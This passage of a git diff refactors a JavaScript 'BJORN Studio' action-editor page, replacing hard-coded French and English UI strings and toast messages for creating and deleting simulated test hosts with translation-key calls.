ids.push(id); }); ids.forEach(id=>deleteNode(id)); buildHostPalette(); toast('Test host supprimé','success'); + if(!confirm(t('studio.deleteTestHost'))) return; + state.hosts.delete(mac); const ids=[]; state.nodes.forEach((n,id)=>{ if(n.type==='host'&&n.data.mac_address===mac) ids.push(id); }); ids.forEach(id=>deleteNode(id)); buildHostPalette(); toast(t('studio.testHostDeleted'),'success'); }; window.openHostModal=function(){ $('#hostModal').classList.add('show'); }; window.closeHostModal=function(){ $('#hostModal').classList.remove('show'); }; window.createTestHost=function(){ const mac=$('#new_mac').value.trim() || `AA:BB:CC:${Math.random().toString(16).slice(2,8).toUpperCase()}`; - if(state.hosts.has(mac)){ toast('MAC existe déjà','error'); return; } + if(state.hosts.has(mac)){ toast(t('studio.macExists'),'error'); return; } const host={ mac_address:mac, hostname:$('#new_hostname').value.trim()||'test-host', ips:$('#new_ips').value.trim()||'', ports:$('#new_ports').value.trim()||'', services:$('#new_services').value.trim()||'[]', vulns:$('#new_vulns').value.trim()||'', creds:$('#new_creds').value.trim()||'[]', alive:parseInt($('#new_alive').value)||1, is_simulated:1 }; - state.hosts.set(mac,host); buildHostPalette(); closeHostModal(); toast('Test host créé','success'); addHostToCanvas(mac); + state.hosts.set(mac,host); buildHostPalette(); closeHostModal(); toast(t('studio.testHostCreated'),'success'); addHostToCanvas(mac); }; $('#btnCreateHost').addEventListener('click',openHostModal); $('#mAddHost').addEventListener('click',openHostModal); @@ -1426,7 +1428,7 @@ async function init(){ applyPanZoom(); LinkEngine.render(); updateStats(); - toast('Studio loaded','success'); + toast(t('studio.saved'),'success'); } init(); diff --git a/web/js/pages/actions-studio.js b/web/js/pages/actions-studio.js index 0bb6516..366b291 100644 --- a/web/js/pages/actions-studio.js +++ b/web/js/pages/actions-studio.js @@ -13,74 +13,74 @@ function studioTemplate() {
-

BJORN Studio

+

${t('studio.title')}

- - - - - - + + + + + + -
+
-
-
-
success
-
failure
-
requires
-
Pinch/scroll = zoom, drag = pan, connect ports to create links
-
0 nodes, 0 links
+
${t('studio.success')}
+
${t('studio.failure')}
+
${t('studio.requires')}
+
${t('studio.pinchHint')}
+
0 ${t('studio.nodesCount')}, 0 ${t('studio.linksCount')}
-
Edit...
-
Success
-
Failure
-
Requires
-
Delete
+
${t('common.edit')}...
+
${t('studio.success')}
+
${t('studio.failure')}
+
${t('studio.requires')}
+
${t('common.delete')}